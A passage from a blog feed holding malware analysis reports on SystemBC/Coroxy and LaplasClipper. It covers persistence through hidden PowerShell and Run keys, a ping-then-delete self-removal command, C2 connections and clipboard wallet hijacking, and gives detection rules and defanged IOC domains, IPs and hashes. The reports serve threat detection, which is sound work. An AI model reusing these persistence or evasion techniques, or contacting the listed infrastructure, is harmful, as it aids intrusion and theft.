&lt;li&gt;Gold Essex | TA544 |  NarwhalSpider ( 🏴 )&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Stealer" scheme="https://rexorvc0.com/tags/Stealer/"/>
    
    <category term="Loader" scheme="https://rexorvc0.com/tags/Loader/"/>
    
    <category term="Bot" scheme="https://rexorvc0.com/tags/Bot/"/>
    
  </entry>
  
  <entry>
    <title>The Swiss Knife - SystemBC | Coroxy</title>
    <link href="https://rexorvc0.com/2023/11/12/Swiss-Knife-SystemBC-Coroxy/"/>
    <id>https://rexorvc0.com/2023/11/12/Swiss-Knife-SystemBC-Coroxy/</id>
    <published>2023-11-12T07:00:00.000Z</published>
    <updated>2025-03-30T20:22:19.263Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>SystemBC, also known as Coroxy or DroxiDat, is a malware categorized as Proxy malware, a Bot, a backdoor, and even a RAT, as its uses can be diverse depending on the attacker, making it a versatile tool for Threat Actors. Active since 2018, it has gained significant popularity, finding a warm reception in underground markets where it can be purchased, and its interest has not waned. Incidents involving its usage are recorded annually.</em></p><p><em>Coroxy achieves execution on target systems through various methods, depending on the group using it. Recorded attacks have involved reconnaissance phases, lateral movement, and the deployment of SystemBC, often complemented with CobaltStrike. In other cases, it has been employed in campaigns through Spear-Phishing, where it is delivered and installed on the victim’s system via loaders or other malware. While the malware’s methodology has evolved, its core functionality remains consistent. In most versions of SystemBC, it seeks to gather system and user information, establish persistence, and then create a Socks5 connection with the Command and Control (C&amp;C) server, transmitting basic information, and waiting for commands or the launch of other malware by the attacker. This provides a backdoor for the attacker to operate from their infrastructure.</em></p><p>As mentioned earlier, numerous groups have been associated with the use of SystemBC over the years. These groups, with many linked to ransomware activities, include:</p><ul><li>ViceSociety</li><li>Rhysida</li><li>GoldDupont</li><li>FIN12</li><li>8BASE</li><li>PLAY</li><li>Hive</li><li>BlackBasta</li><li>TropicalScoprious (CUBA)</li><li>RiddleSpider (Avaddon)</li><li>WizardSpider (Conti, Ryuk)</li><li>Egregor</li><li>DarkSide</li><li>Maze Team (Maze &amp; IcedID)</li></ul><span id="more"></span><br><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>As previously mentioned, access to the infrastructure and the subsequent use of SystemBC will significantly vary depending on the attacker. Nevertheless, a vast number of samples have been studied, and despite many differences among them, the core functionality remains consistent.</p><p>Hence, an illustrative diagram of how it operates based on the conducted research is provided:</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/6001c59e-8444-451b-8058-6deb6c0e5000" alt="image"></p><p>As mentioned, an extensive analysis of multiple samples has been conducted, and you can find the full report below. However, for those who may not have the time (or inclination) to read 50 pages, the following summary might be helpful.</p><p>In the initial execution of one of the samples, what is typically found is the establishment of persistence, either through tasks or more noticeable registry keys, along with the creation of a duplicate of the same SystemBC</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/1b3672d3-ff4e-445b-8a11-066836ce90e0" alt="image"></p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/8fe4fe06-5919-46ea-8db6-174fa604848a" alt="image"></p><p>It’s worth noting that some samples, when not accompanied by a loader or another malware that downloads them, might employ a packer or require runtime deobfuscation or extraction. For instance, I encountered a few samples that I had to extract from memory to obtain the SystemBC.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/66e88506-7db3-44d7-b15e-972ee8f17b8c" alt="image"></p><p>Continuing the discussion, when comparing the file launched in a temporary folder, it’s easy to see that it’s an identical copy, which indicates a duplication of the malware. The downside is that the filename is generated dynamically and doesn’t follow any easily detectable pattern.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/89f7db8a-750c-4b14-af4a-d2759a57f0e1" alt="image"></p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/eec34ccf-ca42-454a-9eb7-d5accb07bc26" alt="image"></p><p>To get started, Coroxy exhibits a Mutex control in all the samples I’ve examined. In a general sense, it checks for its existence to ensure that it doesn’t run more than once. If it doesn’t exist, the malware proceeds to launch. Depending on the sample, it might generate a random string for this purpose, or, quite intriguingly, it will deobfuscate (typically using XOR) a domain, which it will later use as a Mutex. This adds an element of complexity.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/920b1095-09f9-47f3-8e4a-2505934cec52" alt="image"></p><p>Depending on the sample, you’ll observe how it establishes persistence. This can be achieved through job creation or by creating a registry entry, usually involving the execution of a PowerShell command to run the SystemBC sample.</p><ul><li>TASK</li></ul><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/7e3a9885-b501-441a-87a4-65b1f880be99" alt="image"><br><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/e877d120-164c-4156-9ab2-913c90910a0b" alt="image"><br><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/e8d712f1-bbfa-407a-86b2-9eb9f1bf335b" alt="image"><br><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/94cf16ba-1f7b-4a79-a4aa-74b107ab31a8" alt="image"><br><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/fe34c3f8-9548-44aa-a93a-35ac9de53c67" alt="image"></p><ul><li>Registry</li></ul><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/d0eb62c5-18bf-4ace-974d-a9b35fc06e36" alt="image"></p><p>As I mentioned earlier, it’s common in some versions for SystemBC to launch a version of itself, as some of the initial graphs indicated, in temporary paths like ProgramData, Roaming, or Temp.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/d8865d40-fdc9-4417-b361-fe0f9e51b1f7" alt="image"></p><p>SystemBC is also known for detecting a2guard and being aware of its presence on the system. This is a useful anti-analysis technique to identify potential antivirus programs or other software that might interfere with its communication or operation. To do this, it takes a snapshot of all processes and iterates through them using ProcessFirst and ProcessNext, searching for this mentioned binary or others.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/da4d1dba-180e-4a5e-ad6d-f7a7e4d63a4c" alt="image"></p><p>At this stage, SystemBC has achieved persistence, control over running processes, and, as it progresses, it gathers information about the system, while also deobfuscating and decrypting network data it will use for later connections.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/4785a3f2-d5bc-4e1d-aac8-db050c363984" alt="image"></p><p>Once it has determined where it needs to connect, it only has to establish the connection. Typically, it employs a loop to attempt access to the server it identified earlier, along with the corresponding port. This function might vary slightly across versions, but the fundamental behavior is similar.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/b4e06b83-cff7-45be-987b-0b042d1840d5" alt="image"></p><h1 id="Intelligence"><a href="#Intelligence" class="headerlink" title="_Intelligence"></a>_Intelligence</h1><p>From the analysis of various samples, although only a selection has been presented in this document, all possible addresses are collected to discover more infrastructure that threat actors may have used in the context of SystemBC or other malware associated with it. This analysis also considers the level of engagement, usage patterns, and the presence in underground markets.</p><p>The primary focus was on assessing whether the interest and usage of Coroxy remained relevant. Numerous forum threads were identified where discussions and interactions related to this malware were ongoing.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/8682c4ee-910e-4af5-bee7-93e92202ce51" alt="image"></p><p>Moreover, there are users inquiring about specific updates and discussing the developer of SystemBC.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/a07ab057-2c2e-49e0-a873-7143c5650337" alt="image"></p><p>Infrastructure has been identified where it’s possible to purchase access to the operating system for roughly $350 to $300, which must be paid using a cryptocurrency wallet. These wallets are highly active, receiving daily payments to the various addresses they provide.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/8ff61744-ebfb-4957-84ae-aee9b6ed6b92" alt="image"><br><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/beb6f00d-01e8-450b-9549-060b1cfdfe5e" alt="image"><br><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/fd0ed39a-af53-43bb-ae5c-d48468671f01" alt="image"></p><p>Subsequently, an attempt was made to pivot on as many indicators as discovered during the analysis of all the samples, with the aim of locating more infrastructure. Given this malware’s background and its common use by loaders or in intermediate attack stages, it was expected that infrastructure related to other malware would also be found during the investigation. (I’ve gained significant knowledge in these techniques by following the work of individuals like @MichalKoczwara, @TLP_R3D, and @josh_penny, and I’m grateful for their contributions. I recommend following them as well :) )</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/4bee99f4-15c4-408a-9617-c37078ffcfca" alt="image"></p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/32189a22-ad19-4f2c-a97f-b187aa852f37" alt="image"></p><p>Constantly extracting IP addresses and domains, I like to input them into VirusTotal afterward to determine if there’s any connection between them. As you know, such a connection doesn’t necessarily imply a direct relationship, as many hosts can be used by different groups and various types of malware. However, SystemBC is associated with a wide range of loaders and malware, which contributes to the interconnectedness. An example of this complexity can be seen in the following diagram.</p><p><img src="https://github.com/vc0RExor/Malware-Threat-Reports/assets/91592110/15cc051b-8de2-4d9c-9327-53f903b7c6c7" alt="image"></p><br><h1 id="Report"><a href="#Report" class="headerlink" title="_Report"></a>_Report</h1><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Visor de PDF</title></head><body>    <iframe src="https://mozilla.github.io/pdf.js/web/viewer.html?file=https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/e044bbef54ab68fdd144793fe88dbf95a805a31f/The%20Swiss%20Knife%20-%20SystemBC%20%7C%20Coroxy/The%20Swiss%20Knife-SystemBC_EN.pdf" width="100%" height="1200"></iframe></body></html><p><br><br></p><h1 id="Detection-Opportunities"><a href="#Detection-Opportunities" class="headerlink" title="_Detection Opportunities"></a>_Detection Opportunities</h1><ul><li>[TA0002][T1564.003] Execution of hidden powershell</li></ul><pre class="line-numbers language-none"><code class="language-none">(Process) powershell.exe &gt; (Command) *-windowstyle hidden -Command &quot;&amp;* &gt; (ChildPath) *ProgramData*|*AppData*&lt;RandName&gt;.exe<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0003][T1547.001] Persistence using socks value in registry</li></ul><pre class="line-numbers language-none"><code class="language-none">(Registry) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN &gt; (ValueName) socks5 &gt; (ValueData) powershell*-windowstyle hidden*-Command*<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0003][T1053] Persistence running tasks using start value</li></ul><pre class="line-numbers language-none"><code class="language-none">(Process) taskeng.exe &gt; (Path) *ProgramData* | *AppData* &gt; (Command) *ProgramData*|*AppData*\&lt;Randname&gt;.exe start&#123;Number&#125;|start<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0003][T1053] Persistence creating tasks with random name</li></ul><pre class="line-numbers language-none"><code class="language-none">(File) &lt;RandName&gt;.job &gt; (Path) *\Windows\Tasks\&lt;RandName&gt;.job<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0005][T1070.004] Auto-delete function to evade file detection</li></ul><pre class="line-numbers language-none"><code class="language-none">(Command) cmd.exe*&#x2F;C*ping*&#123;IP&#125;*-n*&#123;Number&#125;*-w*&#123;Number&#125;*&gt;*Null &amp; Del*<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0011][T1090] Connection outside through a file in a temporary path</li></ul><pre class="line-numbers language-none"><code class="language-none">(Path) *ProgramData* | *AppData* &gt; (NetConnection) Public IP &#123;Non common country|Direction&#125;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><br><br></p><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><pre class="line-numbers language-none"><code class="language-none">Hash:c96f8d4d1ee675c3cd1b1cf2670bb9bc2379a6b66f3029b2ffcfdd67c612c4996f78256f20eb2b5594391095a341f8749395e7566fdd2ddd3a34a0db9bb9f871E81eb1aa5f7cc18edfc067fc6f3966c1ed561887910693fa88679d9b4325813397ebef56e3fa3642d0395c00c25975e586089d26632e65422099a5107d375993ef71c960107ba5034c2989fd778e3fd72d4cdc044763aef2b4ce541a62c3466c6E57D1FC4D14E7E7C2216085E41C393C9F117B0B5F8CE639AC78795D18DBA7306b56f6f96b33d0acefd9488561ce4c0b4a1684daf5dde9cc81e56403871939c4F0073027076729CE94BD028E8F50F5CCB1F0184C91680E572580DB0110C87A823d1d747d644420a2bdc07207b29a0509531e22eb0b1eedcd052f85085bef6865c68035aabbe9b80ace209290aa28b8108cbb03a9d6a6301eb9a8d638db024ad0c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5 Domain:payload[.]sumxstat215dm[.]xyzmxstex725dm[.]xyzzl0yy[.]rur0ck3t[.]ru IP (High confidence):91[.]191[.]209[.]1105[.]42[.]65[.]6745[.]15[.]158[.]40 IP (Mid-Low confidence):178[.]236[.]246[.]117185[.]174[.]136[.]14845[.]142[.]122[.]179178[.]236[.]247[.]3945[.]142[.]122[.]105185[.]112[.]83[.]129185[.]112[.]83[.]164185[.]112[.]83[.]172185[.]112[.]83[.]595[.]42[.]65[.]6778[.]153[.]130[.]16645[.]142[.]122[.]21591[.]191[.]209[.]1105[.]188[.]206[.]246<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;SystemBC, also known as Coroxy or DroxiDat, is a malware categorized as Proxy malware, a Bot, a backdoor, and even a RAT, as its uses can be diverse depending on the attacker, making it a versatile tool for Threat Actors. Active since 2018, it has gained significant popularity, finding a warm reception in underground markets where it can be purchased, and its interest has not waned. Incidents involving its usage are recorded annually.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Coroxy achieves execution on target systems through various methods, depending on the group using it. Recorded attacks have involved reconnaissance phases, lateral movement, and the deployment of SystemBC, often complemented with CobaltStrike. In other cases, it has been employed in campaigns through Spear-Phishing, where it is delivered and installed on the victim’s system via loaders or other malware. While the malware’s methodology has evolved, its core functionality remains consistent. In most versions of SystemBC, it seeks to gather system and user information, establish persistence, and then create a Socks5 connection with the Command and Control (C&amp;amp;C) server, transmitting basic information, and waiting for commands or the launch of other malware by the attacker. This provides a backdoor for the attacker to operate from their infrastructure.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As mentioned earlier, numerous groups have been associated with the use of SystemBC over the years. These groups, with many linked to ransomware activities, include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ViceSociety&lt;/li&gt;
&lt;li&gt;Rhysida&lt;/li&gt;
&lt;li&gt;GoldDupont&lt;/li&gt;
&lt;li&gt;FIN12&lt;/li&gt;
&lt;li&gt;8BASE&lt;/li&gt;
&lt;li&gt;PLAY&lt;/li&gt;
&lt;li&gt;Hive&lt;/li&gt;
&lt;li&gt;BlackBasta&lt;/li&gt;
&lt;li&gt;TropicalScoprious (CUBA)&lt;/li&gt;
&lt;li&gt;RiddleSpider (Avaddon)&lt;/li&gt;
&lt;li&gt;WizardSpider (Conti, Ryuk)&lt;/li&gt;
&lt;li&gt;Egregor&lt;/li&gt;
&lt;li&gt;DarkSide&lt;/li&gt;
&lt;li&gt;Maze Team (Maze &amp;amp; IcedID)&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    <category term="Report" scheme="https://rexorvc0.com/categories/Report/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Pivoting" scheme="https://rexorvc0.com/tags/Pivoting/"/>
    
    <category term="RAT" scheme="https://rexorvc0.com/tags/RAT/"/>
    
    <category term="Bot" scheme="https://rexorvc0.com/tags/Bot/"/>
    
    <category term="Backdoor" scheme="https://rexorvc0.com/tags/Backdoor/"/>
    
  </entry>
  
  <entry>
    <title>LaplasClipper</title>
    <link href="https://rexorvc0.com/2023/09/04/LaplasClipper/"/>
    <id>https://rexorvc0.com/2023/09/04/LaplasClipper/</id>
    <published>2023-09-04T06:00:00.000Z</published>
    <updated>2025-03-30T20:21:51.529Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p>LaplasClipper (Laplas Clipper also known as Laplace Clipper) is a well-known malware that operates as a crypto clipboard hijacker. It has been in use since 2022. This malware can be purchased from its portal for as low as $49, with payment structured as a monthly subscription. LaplasClipper has been employed by various criminal threat actors to steal cryptocurrencies.</p><p>This malware gains access to devices through various methods. It has been observed being distributed through YouTube video links or compromised websites, as well as links to files containing LaplasClipper loaders. It has also been delivered via spear-phishing campaigns. In recent versions of the malware, it establishes persistence in registries and injects itself into files it creates to gain an advantageous position. From there, it monitors the clipboard, waiting for cryptocurrency wallet-related information to be added. It modifies this information to hijack the cryptocurrencies to the attacker’s server.</p><p>As I said, Laplas has been involved in several executions related to other malware or loaders, some of them, which are related to active groups, are the following:</p><ul><li>VidarStealer</li><li>SmokeLoader</li><li>AresLoader</li><li>RedLine Stealer</li><li>AgentTesla</li></ul><span id="more"></span><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>As mentioned earlier, LaplasClipper has various initial access vectors through which it can infiltrate affected devices. Its ultimate goal is to modify the clipboard to alter transactions related to cryptocurrencies.</p><p>An illustrative example of its steps is as follows:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/8b5d9b26-7636-4fed-944b-51c120b495a0" alt="image"></p><p>With this diagram, I aim to provide a general understanding of how new versions of LaplasClipper function. I’ve reviewed recent samples and found no significant variations between them. Therefore, the execution tree of current LaplasClipper versions should be similar to what I present below:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/cb87f88f-a676-4f2d-9a23-151d062ab9bc" alt="image"></p><p>We can observe the execution of a binary that establishes persistence in \CurrentVersion\RUN. It also launches a file named “ntlhost,” which is subsequently injected. Notably, the name of the dropped binary (“ntlhost”) and the writing path vary, representing the most noticeable differences I’ve identified, an example of this are the following paths:</p><pre class="line-numbers language-none"><code class="language-none">C:\Users\&lt;user&gt;\AppData\Roaming\NTSystem\&lt;MalBinaryDropped&gt;.exeC:\Users\&lt;user&gt;\AppData\Roaming\telemetry\&lt;MalBinaryDropped&gt;.exe<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Regarding the persistence aspect, there isn’t much mystery. The binary creates a file (which we will see shortly) in a temporary path. Depending on the version, it could be one or another path. It then modifies the registry key and adds the newly created path. This ensures that LaplasClipper executes with every login</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/8d9d4da4-9d12-4c7f-8fdd-577a5ea0475f" alt="image"></p><p>At this stage, we’ve discussed the creation of a file. It’s intriguing that relatively recent samples I’ve encountered are quite heavy. This is a common tactic used by some malware to deter analysis. Such samples slow down orchestrated analysis systems, increase the time taken for software reversing, and so on. Essentially, these samples contain unnecessary functionalities that don’t justify their weight. This becomes more problematic when the malware creates a second file in temporary paths.</p><p>In terms of file writing, in the analyzed samples, multithreading is heavily employed. Threads are used to expedite the binary’s writing process. This approach makes sense, given that the files launched in temporary paths are typically large. As I mentioned earlier, in this routine, we can observe how the binary gradually writes the file before releasing it, leaving the file in the path.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/04fe9b1f-fa46-4203-aacb-51fe8cfa36d3" alt="image"><br><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/8f747c20-8e5a-49f9-8373-eab53c2e5d25" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/076e7728-589c-41a4-bf0f-bbd164426620" alt="image"></p><p>Following this, I started comparing the files. It seemed unusual and uncommon for malware to drop itself, so I anticipated that it would weigh much more. However, upon examining its functions, strings, and data content, I found that its functionalities were mostly the same, with the addition of a significant amount of data at the end.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/7d26723c-c8c5-493f-935d-bece1f6a084f" alt="image"></p><p>The binary operates heavily in memory. Depending on the version, I encountered samples packed with MPRESS or ones with obfuscated sections that were gradually deobfuscated during runtime. Consequently, in addition to the functionalities Laplas already possesses (excluding packed versions), it imports numerous libraries. During runtime, it dynamically loads more libraries and imports using GetProcAddress + LoadLibrary.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/491e9417-a8d5-4772-95b7-b8ecad72f348" alt="image"></p><p>Some of the loaded imports include:</p><pre class="line-numbers language-none"><code class="language-none">AbortSystemShutdownAAbortSystemShutdownWAccessCheckAndAuditAlarmAAccessCheckAndAuditAlarmWAccessCheckByTypeAAccessCheckByTypeAndAuditAlarmAAccessCheckByTypeAndAuditAlarmWAccessCheckByTypeResultListAAccessCheckByTypeResultListAndAuditAlarmAAccessCheckByTypeResultListAndAuditAlarmWAddAccessAllowedAceAddAccessAllowedAceExAddAccessAllowedObjectAceAddAccessDeniedAceAddAccessDeniedAceExAddAccessDeniedObjectAceAddAceAddAuditAccessAceAddAuditAccessAceExAddAuditAccessObjectAceAddConditionalAceAddMandatoryAceAddUsersToEncryptedFileAddUsersToEncryptedFileExAdjustTokenGroupsAdjustTokenPrivilegesAllocateAndInitializeSidAllocateLocallyUniqueIdAreAllAccessesGrantedAreAnyAccessesGrantedAuditComputeEffectivePolicyBySidAuditComputeEffectivePolicyByTokenAuditEnumerateCategoriesBySidAuditEnumerateCategoriesByTokenAuditEnumeratePerUserPolicyBySidAuditEnumeratePerUserPolicyByTokenAuditEnumerateSubCategoriesBySidAuditEnumerateSubCategoriesByTokenAuditLookupCategoryGuidFromCategoryIdAuditLookupCategoryIdFromCategoryGuidAuditLookupCategoryNameAAuditLookupCategoryNameWAuditLookupSubCategoryNameAAuditLookupSubCategoryNameWAuditQueryGlobalSaclAAuditQueryGlobalSaclWAuditQueryPerUserPolicyBySidAuditQueryPerUserPolicyByTokenAuditSetGlobalSaclAAuditSetGlobalSaclWAuditSetPerUserPolicyAuditSetSecurityBackupEventLogABackupEventLogWBuildExplicitAccessWithNameABuildExplicitAccessWithNameWBuildImpersonateExplicitAccessWithNameABuildImpersonateExplicitAccessWithNameWBuildImpersonateTrusteeABuildImpersonateTrusteeWBuildSecurityDescriptorABuildSecurityDescriptorWBuildTrusteeWithNameABuildTrusteeWithNameWBuildTrusteeWithObjectsAndNameABuildTrusteeWithObjectsAndNameWBuildTrusteeWithSidABuildTrusteeWithSidWCancelOverlappedAccessChangeServiceConfig2AChangeServiceConfig2WChangeServiceConfigAChangeServiceConfigWCheckTokenMembershipClearEventLogAClearEventLogWCloseCodeAuthzLevelCloseEncryptedFileRawCloseEventLogCloseServiceHandleCloseThreadWaitChainSessionCloseTraceCommandLineFromMsiDescriptorComputeAccessTokenFromCodeAuthzLevelControlServiceAControlServiceExAControlServiceExWControlServiceWControlTraceAControlTraceWConvertAccessToSecurityDescriptorAConvertAccessToSecurityDescriptorWConvertSecurityDescriptorToStringSecurityDescriptorAConvertSecurityDescriptorToStringSecurityDescriptorWConvertSidToStringSidAConvertSidToStringSidWConvertStringSecurityDescriptorToSecurityDescriptorAConvertStringSecurityDescriptorToSecurityDescriptorWConvertStringSidToSidAConvertStringSidToSidWConvertToAutoInheritPrivateObjectSecurityCopySidCreateCodeAuthzLevelCreatePrivateObjectSecurityCreatePrivateObjectSecurityExCreatePrivateObjectSecurityWithMultipleInheritanceCreateProcessAsUserACreateProcessAsUserWCreateProcessWithLogonWCreateProcessWithTokenWCreateRestrictedTokenCreateServiceACreateServiceWCreateTraceInstanceIdCreateWellKnownSidCredBackupCredentialsCredDeleteACredDeleteWCredEncryptAndMarshalBinaryBlobCredEnumerateACredEnumerateWCredFindBestCredentialACredFindBestCredentialWCredFreeCredGetSessionTypesCredGetTargetInfoACredGetTargetInfoWCredIsMarshaledCredentialACredIsMarshaledCredentialWCredIsProtectedACredIsProtectedWCredMarshalCredentialACredMarshalCredentialWCredProfileLoadedCredProfileUnloadedCredProtectACredProtectWCredReadACredReadByTokenHandleCredReadDomainCredentialsACredReadDomainCredentialsWCredReadWCredRenameACredRenameWCredRestoreCredentialsCredUnmarshalCredentialACredUnmarshalCredentialWCredUnprotectACredUnprotectWCredWriteACredWriteDomainCredentialsACredWriteDomainCredentialsWCredWriteWCredpConvertCredentialCredpConvertOneCredentialSizeCredpConvertTargetInfoCredpDecodeCredentialCredpEncodeCredentialCredpEncodeSecretCryptAcquireContextACryptAcquireContextWCryptContextAddRefCryptCreateHashCryptDecryptCryptDeriveKeyCryptDestroyHashCryptDestroyKeyCryptDuplicateHashCryptDuplicateKeyCryptEncryptCryptEnumProviderTypesACryptEnumProviderTypesWCryptEnumProvidersACryptEnumProvidersWCryptExportKeyCryptGenKeyCryptGen[...]<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Talking about loaded libraries, I have seen in different samples that before performing this action, it tries, in the new path it has created where it launches the file, to load several libraries that it then loads normally, but first it tries to load it from the source path, which creates a big noise in telemetry that is quite accessible for detection.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/b61103a8-0437-4e67-8d86-a0b7525da4ea" alt="image"><br><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a2f8a300-6542-4769-8ea9-8281a7300aa4" alt="image"></p><p>Summary of all tries:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c80d965c-1947-47d9-b4a4-e3ab7f0e9ebf" alt="image"></p><p>After this, in all versions of the malware, it somehow retrieves system information. While not its main focus, it collects elements such as the OS version, computer and user names, time, and device language. These elements are usually more for victim identification concerning the command and control (C&amp;C) rather than data that a RAT or pure stealer might extract. Notably, the most interesting information I discovered was the OEM version being used on my machine.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/99845245-f0b9-4c18-b4aa-358a0db99e34" alt="image"></p><p>Subsequently, with the new capabilities loaded into memory, the file written in a temporary path, persistence established, and basic victim machine information acquired, it proceeds with injection. Even in this stage, it doesn’t perform any novel actions. It loads the file to inject into memory, opens the file written in the path (which, as we remember, was disproportionately large), and opens it in a suspended state to write to it. It then releases it using ResumeThread, at which point we’ll see it running with the filename it dropped earlier</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/cd4b6c53-17fc-4efe-ad7c-cbe7ce7da68a" alt="image"></p><p>After this, we’ll observe the malware delving into network functions. I’ve captured various types of traffic from different samples. Here, it’s evident how it makes a request to an address commonly used by LaplasClipper: </p><blockquote><p>Clipper[.]guru. </p></blockquote><p>Following this, it sends data to the attacker, including information about our machine and a generated identifier.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/4cd1553b-b7eb-4e6e-9a1c-97579c60edfd" alt="image"></p><p>Here’s what occurs in this phase, having ensured no information slipped through. The malware constantly monitors the clipboard. It uses regular expression (Regex) patterns to detect certain content, as shown below:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/576214d9-cf13-45c3-891e-eb40bc56d160" alt="image"></p><p>Subsequently, with the established connection I mentioned earlier, along with the obtained information, it maintains control of the clipboard. It waits for the victim machine to perform cryptocurrency wallet-related actions. This means that the malware simply waits for one of those patterns to be written to the clipboard. When this happens, it changes the wallet address to one controlled by the attacker. For instance, if you were a LaplasClipper victim attempting a cryptocurrency transaction, 